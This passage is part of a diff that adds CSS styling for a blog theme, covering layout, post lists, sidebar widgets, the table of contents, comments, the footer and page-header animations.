0.4em 0.12em 1.4em; +} +#body-wrap { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-orient: vertical; + -moz-box-orient: vertical; + -o-box-orient: vertical; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + min-height: 100vh; +} +.layout { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + box-flex: 1; + -webkit-flex: 1 auto; + -ms-flex: 1 auto; + flex: 1 auto; + margin: 0 auto; + padding: 40px 15px; + max-width: 1200px; + width: 100%; +} +@media screen and (max-width: 900px) { + .layout { + -webkit-box-orient: vertical; + -moz-box-orient: vertical; + -o-box-orient: vertical; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + } +} +@media screen and (max-width: 768px) { + .layout { + padding: 20px 5px; + } +} +@media screen and (min-width: 2000px) { + .layout { + max-width: 1500px; + } +} +.layout > div:first-child:not(.recent-posts) { + -webkit-align-self: flex-start; + align-self: flex-start; + -ms-flex-item-align: start; + padding: 50px 40px; +} +@media screen and (max-width: 768px) { + .layout > div:first-child:not(.recent-posts) { + padding: 36px 14px; + } +} +.layout > div:first-child { + width: 74%; + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +@media screen and (max-width: 900px) { + .layout > div:first-child { + width: 100% !important; + } +} +.layout.hide-aside { + max-width: 1000px; +} +@media screen and (min-width: 2000px) { + .layout.hide-aside { + max-width: 1300px; + } +} +.layout.hide-aside > div { + width: 100% !important; +} +.apple #page-header.full_page { + background-attachment: scroll !important; +} +.apple .recent-post-item, +.apple .avatar-img, +.apple .flink-item-icon { + -webkit-transform: translateZ(0); + -moz-transform: translateZ(0); + -o-transform: translateZ(0); + -ms-transform: translateZ(0); + transform: translateZ(0); +} +#article-container .flink { + margin-bottom: 20px; +} +#article-container .flink .flink-list { + overflow: auto; + padding: 10px 10px 0; + text-align: center; +} +#article-container .flink .flink-list > .flink-list-item { + position: relative; + float: left; + overflow: hidden; + margin: 15px 7px; + width: calc(100% / 3 - 15px); + height: 90px; + border-radius: 8px; + line-height: 17px; + -webkit-transform: translateZ(0); +} +@media screen and (max-width: 1024px) { + #article-container .flink .flink-list > .flink-list-item { + width: calc(50% - 15px) !important; + } +} +@media screen and (max-width: 600px) { + #article-container .flink .flink-list > .flink-list-item { + width: calc(100% - 15px) !important; + } +} +#article-container .flink .flink-list > .flink-list-item:hover .flink-item-icon { + margin-left: -10px; + width: 0; +} +#article-container .flink .flink-list > .flink-list-item:before { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: -1; + background: var(--text-bg-hover); + content: ''; + -webkit-transition: -webkit-transform 0.3s ease-out; + -moz-transition: -moz-transform 0.3s ease-out; + -o-transition: -o-transform 0.3s ease-out; + -ms-transition: -ms-transform 0.3s ease-out; + transition: transform 0.3s ease-out; + -webkit-transform: scale(0); + -moz-transform: scale(0); + -o-transform: scale(0); + -ms-transform: scale(0); + transform: scale(0); +} +#article-container .flink .flink-list > .flink-list-item:hover:before, +#article-container .flink .flink-list > .flink-list-item:focus:before, +#article-container .flink .flink-list > .flink-list-item:active:before { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); +} +#article-container .flink .flink-list > .flink-list-item a { + color: var(--font-color); + text-decoration: none; +} +#article-container .flink .flink-list > .flink-list-item a .flink-item-icon { + float: left; + overflow: hidden; + margin: 15px 10px; + width: 60px; + height: 60px; + border-radius: 35px; + -webkit-transition: width 0.3s ease-out; + -moz-transition: width 0.3s ease-out; + -o-transition: width 0.3s ease-out; + -ms-transition: width 0.3s ease-out; + transition: width 0.3s ease-out; +} +#article-container .flink .flink-list > .flink-list-item a .flink-item-icon img { + width: 100%; + height: 100%; + -webkit-transition: filter 375ms ease-in 0.2s, -webkit-transform 0.3s; + -moz-transition: filter 375ms ease-in 0.2s, -moz-transform 0.3s; + -o-transition: filter 375ms ease-in 0.2s, -o-transform 0.3s; + -ms-transition: filter 375ms ease-in 0.2s, -ms-transform 0.3s; + transition: filter 375ms ease-in 0.2s, transform 0.3s; + object-fit: cover; +} +#article-container .flink .flink-list > .flink-list-item a .img-alt { + display: none; +} +#article-container .flink .flink-item-name { + padding: 16px 10px 0 0; + height: 40px; + font-weight: bold; + font-size: 1.43em; +} +#article-container .flink .flink-item-desc { + padding: 16px 10px 16px 0; + height: 50px; + font-size: 0.93em; +} +#article-container .flink .flink-name { + margin-bottom: 5px; + font-weight: bold; + font-size: 1.5em; +} +#recent-posts > .recent-post-item:not(:first-child) { + margin-top: 20px; +} +#recent-posts > .recent-post-item { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-orient: horizontal; + -moz-box-orient: horizontal; + -o-box-orient: horizontal; + -webkit-flex-direction: row; + -ms-flex-direction: row; + flex-direction: row; + -webkit-box-align: center; + -moz-box-align: center; + -o-box-align: center; + -ms-flex-align: center; + -webkit-align-items: center; + align-items: center; + overflow: hidden; + height: 18em; +} +@media screen and (max-width: 768px) { + #recent-posts > .recent-post-item { + -webkit-box-orient: vertical; + -moz-box-orient: vertical; + -o-box-orient: vertical; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + height: auto; + } +} +#recent-posts > .recent-post-item:hover img.post_bg { + -webkit-transform: scale(1.1); + -moz-transform: scale(1.1); + -o-transform: scale(1.1); + -ms-transform: scale(1.1); + transform: scale(1.1); +} +#recent-posts > .recent-post-item.ads-wrap { + display: block !important; + height: auto !important; +} +#recent-posts > .recent-post-item .post_cover { + overflow: hidden; + width: 44%; + height: 100%; +} +@media screen and (max-width: 768px) { + #recent-posts > .recent-post-item .post_cover { + width: 100%; + height: 230px; + } +} +#recent-posts > .recent-post-item .post_cover.right { + -webkit-box-ordinal-group: 1; + -moz-box-ordinal-group: 1; + -o-box-ordinal-group: 1; + -ms-flex-order: 1; + -webkit-order: 1; + order: 1; +} +@media screen and (max-width: 768px) { + #recent-posts > .recent-post-item .post_cover.right { + -webkit-box-ordinal-group: 0; + -moz-box-ordinal-group: 0; + -o-box-ordinal-group: 0; + -ms-flex-order: 0; + -webkit-order: 0; + order: 0; + } +} +#recent-posts > .recent-post-item >.recent-post-info { + padding: 0 40px; + width: 57%; +} +@media screen and (max-width: 768px) { + #recent-posts > .recent-post-item >.recent-post-info { + padding: 20px 20px 30px; + width: 100%; + } +} +#recent-posts > .recent-post-item >.recent-post-info.no-cover { + width: 100%; +} +@media screen and (max-width: 768px) { + #recent-posts > .recent-post-item >.recent-post-info.no-cover { + padding: 30px 20px; + } +} +#recent-posts > .recent-post-item >.recent-post-info > .article-title { + color: var(--text-highlight-color); + font-size: 1.72em; + line-height: 1.4; + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; + -webkit-line-clamp: 2; +} +@media screen and (max-width: 768px) { + #recent-posts > .recent-post-item >.recent-post-info > .article-title { + font-size: 1.43em; + } +} +#recent-posts > .recent-post-item >.recent-post-info > .article-title:hover { + color: #8e8cd8; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap { + margin: 6px 0; + color: #858585; + font-size: 90%; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap > .post-meta-date { + cursor: default; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap .sticky { + color: #ff7242; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap i { + margin: 0 4px 0 0; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap .fa-spinner { + margin: 0; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap .article-meta-label { + padding-right: 4px; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap .article-meta-separator { + margin: 0 6px; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap .article-meta-link { + margin: 0 4px; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap a { + color: #858585; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap a:hover { + color: #8e8cd8; + text-decoration: underline; +} +#recent-posts > .recent-post-item >.recent-post-info > .content { + -webkit-line-clamp: 2; +} +.tag-cloud-list a { + display: inline-block; + padding: 0 8px; + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +.tag-cloud-list a:hover { + color: #8e8cd8 !important; + -webkit-transform: scale(1.1); + -moz-transform: scale(1.1); + -o-transform: scale(1.1); + -ms-transform: scale(1.1); + transform: scale(1.1); +} +@media screen and (max-width: 768px) { + .tag-cloud-list a { + zoom: 0.85; + } +} +.tag-cloud-title { + font-size: 2.57em; +} +@media screen and (max-width: 768px) { + .tag-cloud-title { + font-size: 2em; + } +} +h1.page-title + .tag-cloud-list { + text-align: left; +} +#aside-content { + width: 26%; +} +@media screen and (min-width: 900px) { + #aside-content { + padding-left: 15px; + } +} +@media screen and (max-width: 900px) { + #aside-content { + width: 100%; + } +} +#aside-content > .card-widget:first-child { + margin-top: 0; +} +@media screen and (max-width: 900px) { + #aside-content > .card-widget:first-child { + margin-top: 20px; + } +} +#aside-content .card-widget { + position: relative; + overflow: hidden; + margin-top: 20px; + padding: 20px 24px; +} +#aside-content .card-info .author-info__name { + font-weight: 500; + font-size: 1.57em; +} +#aside-content .card-info .author-info__description { + margin-top: -0.42em; +} +#aside-content .card-info .card-info-data { + margin: 14px 0 4px; +} +#aside-content .card-info .card-info-social-icons { + margin: 6px 0 -6px; +} +#aside-content .card-info .card-info-social-icons .social-icon { + margin: 0 10px; + color: var(--font-color); + font-size: 1.4em; +} +#aside-content .card-info .card-info-social-icons i { + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +#aside-content .card-info .card-info-social-icons i:hover { + -webkit-transform: rotate(540deg); + -moz-transform: rotate(540deg); + -o-transform: rotate(540deg); + -ms-transform: rotate(540deg); + transform: rotate(540deg); +} +#aside-content .card-info #card-info-btn { + display: block; + margin-top: 14px; + background-color: var(--btn-bg); + color: var(--btn-color); + text-align: center; + line-height: 2.4; +} +#aside-content .card-info #card-info-btn:hover { + background-color: var(--btn-hover-color); +} +#aside-content .card-info #card-info-btn span { + padding-left: 10px; +} +#aside-content .item-headline { + padding-bottom: 6px; + font-size: 1.2em; +} +#aside-content .item-headline span { + margin-left: 6px; +} +@media screen and (min-width: 900px) { + #aside-content .sticky_layout { + position: sticky; + position: -webkit-sticky; + top: 20px; + -webkit-transition: top 0.3s; + -moz-transition: top 0.3s; + -o-transition: top 0.3s; + -ms-transition: top 0.3s; + transition: top 0.3s; + } +} +#aside-content .card-tag-cloud a { + display: inline-block; + padding: 0 4px; +} +#aside-content .card-tag-cloud a:hover { + color: #8e8cd8 !important; +} +#aside-content .aside-list > span { + display: block; + margin-bottom: 10px; + text-align: center; +} +#aside-content .aside-list > .aside-list-item { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-align: center; + -moz-box-align: center; + -o-box-align: center; + -ms-flex-align: center; + -webkit-align-items: center; + align-items: center; + padding: 6px 0; +} +#aside-content .aside-list > .aside-list-item:first-child { + padding-top: 0; +} +#aside-content .aside-list > .aside-list-item:not(:last-child) { + border-bottom: 1px dashed #f5f5f5; +} +#aside-content .aside-list > .aside-list-item:last-child { + padding-bottom: 0; +} +#aside-content .aside-list > .aside-list-item .thumbnail { + overflow: hidden; + width: 4.2em; + height: 4.2em; +} +#aside-content .aside-list > .aside-list-item .content { + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + box-flex: 1; + -webkit-flex: 1; + -ms-flex: 1; + flex: 1; + padding-left: 10px; + word-break: break-all; +} +#aside-content .aside-list > .aside-list-item .content > .name { + -webkit-line-clamp: 1; +} +#aside-content .aside-list > .aside-list-item .content > time, +#aside-content .aside-list > .aside-list-item .content > .name { + display: block; + color: #858585; + font-size: 85%; +} +#aside-content .aside-list > .aside-list-item .content > .title, +#aside-content .aside-list > .aside-list-item .content > .comment { + color: var(--font-color); + font-size: 95%; + line-height: 1.5; + -webkit-line-clamp: 2; +} +#aside-content .aside-list > .aside-list-item .content > .title:hover, +#aside-content .aside-list > .aside-list-item .content > .comment:hover { + color: #8e8cd8; +} +#aside-content .aside-list > .aside-list-item.no-cover { + min-height: 4.4em; +} +#aside-content .card-archives ul.card-archive-list, +#aside-content .card-categories ul.card-category-list { + margin: 0; + padding: 0; + list-style: none; +} +#aside-content .card-archives ul.card-archive-list > .card-archive-list-item a, +#aside-content .card-categories ul.card-category-list > .card-category-list-item a { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-orient: horizontal; + -moz-box-orient: horizontal; + -o-box-orient: horizontal; + -webkit-flex-direction: row; + -ms-flex-direction: row; + flex-direction: row; + padding: 3px 10px; + color: var(--font-color); + -webkit-transition: all 0.4s; + -moz-transition: all 0.4s; + -o-transition: all 0.4s; + -ms-transition: all 0.4s; + transition: all 0.4s; +} +#aside-content .card-archives ul.card-archive-list > .card-archive-list-item a:hover, +#aside-content .card-categories ul.card-category-list > .card-category-list-item a:hover { + padding: 3px 17px; + background-color: var(--text-bg-hover); +} +#aside-content .card-archives ul.card-archive-list > .card-archive-list-item a span:first-child, +#aside-content .card-categories ul.card-category-list > .card-category-list-item a span:first-child { + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + box-flex: 1; + -webkit-flex: 1; + -ms-flex: 1; + flex: 1; +} +#aside-content .card-categories .card-category-list.child { + padding: 0 0 0 16px; +} +#aside-content .card-categories .card-category-list > .parent > a .card-category-list-name { + width: 70% !important; +} +#aside-content .card-categories .card-category-list > .parent > a .card-category-list-count { + width: calc(100% - 70% - 20px); + text-align: right; +} +#aside-content .card-categories .card-category-list > .parent i { + float: right; + margin-right: -0.5em; + padding: 0.5em; + -webkit-transition: -webkit-transform 0.3s; + -moz-transition: -moz-transform 0.3s; + -o-transition: -o-transform 0.3s; + -ms-transition: -ms-transform 0.3s; + transition: transform 0.3s; + -webkit-transform: rotate(0); + -moz-transform: rotate(0); + -o-transform: rotate(0); + -ms-transform: rotate(0); + transform: rotate(0); +} +#aside-content .card-categories .card-category-list > .parent i.expand { + -webkit-transform: rotate(-90deg); + -moz-transform: rotate(-90deg); + -o-transform: rotate(-90deg); + -ms-transform: rotate(-90deg); + transform: rotate(-90deg); +} +#aside-content .card-webinfo .webinfo .webinfo-item { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-align: center; + -moz-box-align: center; + -o-box-align: center; + -ms-flex-align: center; + -webkit-align-items: center; + align-items: center; + padding: 2px 10px 0; +} +#aside-content .card-webinfo .webinfo .webinfo-item div:first-child { + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + box-flex: 1; + -webkit-flex: 1; + -ms-flex: 1; + flex: 1; + padding-right: 20px; +} +@media screen and (min-width: 901px) { + #aside-content #card-toc { + right: 0 !important; + } +} +@media screen and (max-width: 900px) { + #aside-content #card-toc { + position: fixed; + right: -100%; + bottom: 30px; + z-index: 100; + max-width: 380px; + max-height: calc(100% - 60px); + width: calc(100% - 80px); + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transition: initial; + -moz-transition: initial; + -o-transition: initial; + -ms-transition: initial; + transition: initial; + -webkit-transform-origin: right bottom; + -moz-transform-origin: right bottom; + -o-transform-origin: right bottom; + -ms-transform-origin: right bottom; + transform-origin: right bottom; + } +} +#aside-content #card-toc .toc-percentage { + float: right; + margin-top: -9px; + color: #a9a9a9; + font-style: italic; + font-size: 140%; +} +#aside-content #card-toc .toc-content { + overflow-y: scroll; + overflow-y: overlay; + margin: 0 -24px; + max-height: calc(100vh - 120px); +} +@media screen and (max-width: 900px) { + #aside-content #card-toc .toc-content { + max-height: calc(100vh - 140px); + } +} +#aside-content #card-toc .toc-content > * { + margin: 0 20px !important; +} +#aside-content #card-toc .toc-content > * > .toc-item > .toc-child { + margin-left: 10px; + padding-left: 10px; + border-left: 1px solid var(--dark-grey); +} +#aside-content #card-toc .toc-content:not(.is-expand) .toc-child { + display: none; +} +@media screen and (max-width: 900px) { + #aside-content #card-toc .toc-content:not(.is-expand) .toc-child { + display: block !important; + } +} +#aside-content #card-toc .toc-content:not(.is-expand) .toc-item.active .toc-child { + display: block; +} +#aside-content #card-toc .toc-content ol, +#aside-content #card-toc .toc-content li { + list-style: none; +} +#aside-content #card-toc .toc-content > ol { + padding: 0 !important; +} +#aside-content #card-toc .toc-content ol { + margin: 0; + padding-left: 18px; +} +#aside-content #card-toc .toc-content .toc-link { + display: block; + margin: 4px 0; + padding: 1px 6px; + color: var(--toc-link-color); + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} +#aside-content #card-toc .toc-content .toc-link:hover { + color: #8e8cd8; +} +#aside-content #card-toc .toc-content .toc-link.active { + background: #8e8cd8; + color: #fff; +} +#aside-content :only-child > .card-widget { + margin-top: 0; +} +#aside-content .card-more-btn { + float: right; + color: inherit; +} +#aside-content .card-more-btn:hover { + -webkit-animation: more-btn-move 1s infinite; + -moz-animation: more-btn-move 1s infinite; + -o-animation: more-btn-move 1s infinite; + -ms-animation: more-btn-move 1s infinite; + animation: more-btn-move 1s infinite; +} +#aside-content .card-announcement .item-headline i { + color: #f00; +} +.avatar-img { + overflow: hidden; + margin: 0 auto; + width: 110px; + height: 110px; + border-radius: 70px; +} +.avatar-img img { + width: 100%; + height: 100%; + -webkit-transition: filter 375ms ease-in 0.2s, -webkit-transform 0.3s; + -moz-transition: filter 375ms ease-in 0.2s, -moz-transform 0.3s; + -o-transition: filter 375ms ease-in 0.2s, -o-transform 0.3s; + -ms-transition: filter 375ms ease-in 0.2s, -ms-transform 0.3s; + transition: filter 375ms ease-in 0.2s, transform 0.3s; + object-fit: cover; +} +.avatar-img img:hover { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); +} +.site-data { + display: table; + width: 100%; + table-layout: fixed; +} +.site-data > a { + display: table-cell; +} +.site-data > a div { + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +.site-data > a:hover div { + color: #8e8cd8 !important; +} +.site-data > a .headline { + color: var(--font-color); +} +.site-data > a .length-num { + margin-top: -0.32em; + color: var(--text-highlight-color); + font-size: 1.4em; +} +@media screen and (min-width: 900px) { + html.hide-aside .layout { + -webkit-box-pack: center; + -moz-box-pack: center; + -o-box-pack: center; + -ms-flex-pack: center; + -webkit-justify-content: center; + justify-content: center; + } + html.hide-aside .layout > .aside-content { + display: none; + } + html.hide-aside .layout > div:first-child { + width: 80%; + } +} +.page .sticky_layout { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-orient: vertical; + -moz-box-orient: vertical; + -o-box-orient: vertical; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +@-moz-keyframes more-btn-move { + 0%, 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + 50% { + -webkit-transform: translateX(3px); + -moz-transform: translateX(3px); + -o-transform: translateX(3px); + -ms-transform: translateX(3px); + transform: translateX(3px); + } +} +@-webkit-keyframes more-btn-move { + 0%, 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + 50% { + -webkit-transform: translateX(3px); + -moz-transform: translateX(3px); + -o-transform: translateX(3px); + -ms-transform: translateX(3px); + transform: translateX(3px); + } +} +@-o-keyframes more-btn-move { + 0%, 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + 50% { + -webkit-transform: translateX(3px); + -moz-transform: translateX(3px); + -o-transform: translateX(3px); + -ms-transform: translateX(3px); + transform: translateX(3px); + } +} +@keyframes more-btn-move { + 0%, 100% { + -webkit-transform: translateX(0); + -moz-transform: translateX(0); + -o-transform: translateX(0); + -ms-transform: translateX(0); + transform: translateX(0); + } + 50% { + -webkit-transform: translateX(3px); + -moz-transform: translateX(3px); + -o-transform: translateX(3px); + -ms-transform: translateX(3px); + transform: translateX(3px); + } +} +@-moz-keyframes toc-open { + 0% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@-webkit-keyframes toc-open { + 0% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@-o-keyframes toc-open { + 0% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@keyframes toc-open { + 0% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@-moz-keyframes toc-close { + 0% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@-webkit-keyframes toc-close { + 0% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@-o-keyframes toc-close { + 0% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +@keyframes toc-close { + 0% { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } + 100% { + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } +} +#post-comment .comment-head { + margin-bottom: 20px; +} +#post-comment .comment-head .comment-headline { + display: inline-block; + vertical-align: middle; + font-weight: 700; + font-size: 1.43em; +} +#post-comment .comment-head #comment-switch { + display: inline-block; + float: right; + margin: 2px auto 0; + padding: 4px 16px; + width: max-content; + border-radius: 8px; + background: #f6f8fa; +} +#post-comment .comment-head #comment-switch .first-comment { + color: #49b1f5; +} +#post-comment .comment-head #comment-switch .second-comment { + color: #ff7242; +} +#post-comment .comment-head #comment-switch .switch-btn { + position: relative; + display: inline-block; + margin: -4px 8px 0; + width: 42px; + height: 22px; + border-radius: 34px; + background-color: #49b1f5; + vertical-align: middle; + cursor: pointer; + -webkit-transition: 0.4s; + -moz-transition: 0.4s; + -o-transition: 0.4s; + -ms-transition: 0.4s; + transition: 0.4s; +} +#post-comment .comment-head #comment-switch .switch-btn:before { + position: absolute; + bottom: 4px; + left: 4px; + width: 14px; + height: 14px; + border-radius: 50%; + background-color: #fff; + content: ''; + -webkit-transition: 0.4s; + -moz-transition: 0.4s; + -o-transition: 0.4s; + -ms-transition: 0.4s; + transition: 0.4s; +} +#post-comment .comment-head #comment-switch .switch-btn.move { + background-color: #ff7242; +} +#post-comment .comment-head #comment-switch .switch-btn.move:before { + -webkit-transform: translateX(20px); + -moz-transform: translateX(20px); + -o-transform: translateX(20px); + -ms-transform: translateX(20px); + transform: translateX(20px); +} +#post-comment .comment-wrap > div:nth-child(2) { + display: none; +} +#footer { + position: relative; + background: #8e8cd8; + background-attachment: scroll; + background-position: bottom; + background-size: cover; +} +#footer-wrap { + position: relative; + padding: 40px 20px; + color: var(--light-grey); + text-align: center; +} +#footer-wrap a { + color: var(--light-grey); +} +#footer-wrap a:hover { + text-decoration: underline; +} +#footer-wrap .footer-separator { + margin: 0 4px; +} +#footer-wrap .icp-icon { + padding: 0 4px; + max-height: 1.4em; + width: auto; + vertical-align: text-bottom; +} +#page-header { + position: relative; + width: 100%; + background-color: #8e8cd8; + background-position: center center; + background-size: cover; + background-repeat: no-repeat; + -webkit-transition: all 0.5s; + -moz-transition: all 0.5s; + -o-transition: all 0.5s; + -ms-transition: all 0.5s; + transition: all 0.5s; +} +#page-header:not(.not-top-img):before { + position: absolute; + width: 100%; + height: 100%; + background-color: rgba(0,0,0,0.3); + content: ''; +} +#page-header.full_page { + height: 100vh; + background-attachment: fixed; +} +#page-header.full_page #site-info { + position: absolute; + top: 43%; + padding: 0 10px; + width: 100%; +} +#page-header #site-title, +#page-header #site-subtitle, +#page-header #scroll-down .scroll-down-effects { + text-align: center; + text-shadow: 2px 2px 4px rgba(0,0,0,0.15); + line-height: 1.5; +} +#page-header #site-title { + margin: 0; + color: var(--white); + font-size: 1.85em; +} +@media screen and (min-width: 768px) { + #page-header #site-title { + font-size: 2.85em; + } +} +#page-header #site-subtitle { + color: var(--light-grey); + font-size: 1.15em; +} +@media screen and (min-width: 768px) { + #page-header #site-subtitle { + font-size: 1.72em; + } +} +#page-header #site_social_icons { + display: none; + margin: 0 auto; + width: 300px; + text-align: center; +} +@media screen and (max-width: 768px) { + #page-header #site_social_icons { + display: block; + } +} +#page-header #site_social_icons .social-icon { + margin: 0 10px; + color: var(--light-grey); + text-shadow: 2px 2px 4px rgba(0,0,0,0.15); + font-size: 1.43em; +} +#page-header #scroll-down { + position: absolute; + bottom: 0; + width: 100%; + cursor: pointer; +} +#page-header #scroll-down .scroll-down-effects { + position: relative; + width: 100%; + color: var(--light-grey); + font-size: 30px; +} +#page-header.not-home-page { + height: 400px; +} +@media screen and (max-width: 768px) { + #page-header.not-home-page { + height: 280px; + } +} +#page-header #page-site-info { + position: absolute; + top: 200px; + padding: 0 10px; + width: 100%; +} +@media screen and (max-width: 768px) { + #page-header #page-site-info { + top: 140px; + } +} +#page-header.post-bg { + height: 400px; +} +@media screen and (max-width: 768px) { + #page-header.post-bg { + height: 360px; + } +} +#page-header.post-bg:before { + background-color: rgba(0,0,0,0.5); +} +#page-header #post-info { + position: absolute; + bottom: 100px; + padding: 0 8%; + width: 100%; + text-align: center; +} +@media screen and (max-width: 900px) { + #page-header #post-info { + bottom: 30px; + text-align: left; + } +} +@media screen and (max-width: 768px) { + #page-header #post-info { + bottom: 22px; + padding: 0 22px; + } +} +#page-header.not-top-img { + margin-bottom: 10px; + height: 60px; + background: 0; +} +#page-header.not-top-img #nav { + background: rgba(255,255,255,0.8); + -webkit-box-shadow: 0 5px 6px -5px rgba(133,133,133,0.6); + box-shadow: 0 5px 6px -5px rgba(133,133,133,0.6); +} +#page-header.not-top-img #nav a { + color: var(--font-color); + text-shadow: none; +} +#page-header.nav-fixed #nav { + position: fixed; + top: -60px; + z-index: 91; + background: rgba(255,255,255,0.8); + -webkit-box-shadow: 0 5px 6px -5px rgba(133,133,133,0.6); + box-shadow: 0 5px 6px -5px rgba(133,133,133,0.6); + -webkit-transition: -webkit-transform 0.2s ease-in-out, opacity 0.2s ease-in-out; + -moz-transition: -moz-transform 0.2s ease-in-out, opacity 0.2s ease-in-out; + -o-transition: -o-transform 0.2s ease-in-out, opacity 0.2s ease-in-out; + -ms-transition: -ms-transform 0.2s ease-in-out, opacity 0.2s ease-in-out; + transition: transform 0.2s ease-in-out, opacity 0.2s ease-in-out; +} +#page-header.nav-fixed #nav a, +#page-header.nav-fixed #nav #site-name, +#page-header.nav-fixed #nav #toggle-menu { + color: var(--font-color); + text-shadow: none; +} +#page-header.nav-fixed #nav a:hover, +#page-header.nav-fixed #nav #site-name:hover, +#page-header.nav-fixed #nav #toggle-menu:hover { + color: #8e8cd8; +} +#page-header.nav-visible #nav { + -webkit-transition: all 0.5s; + -moz-transition: all 0.5s; + -o-transition: all 0.5s; + -ms-transition: all 0.5s; + transition: all 0.5s; + -webkit-transform: translate3d(0, 100%, 0); + -moz-transform: translate3d(0, 100%, 0); + -o-transform: translate3d(0, 100%, 0); + -ms-transform: translate3d(0, 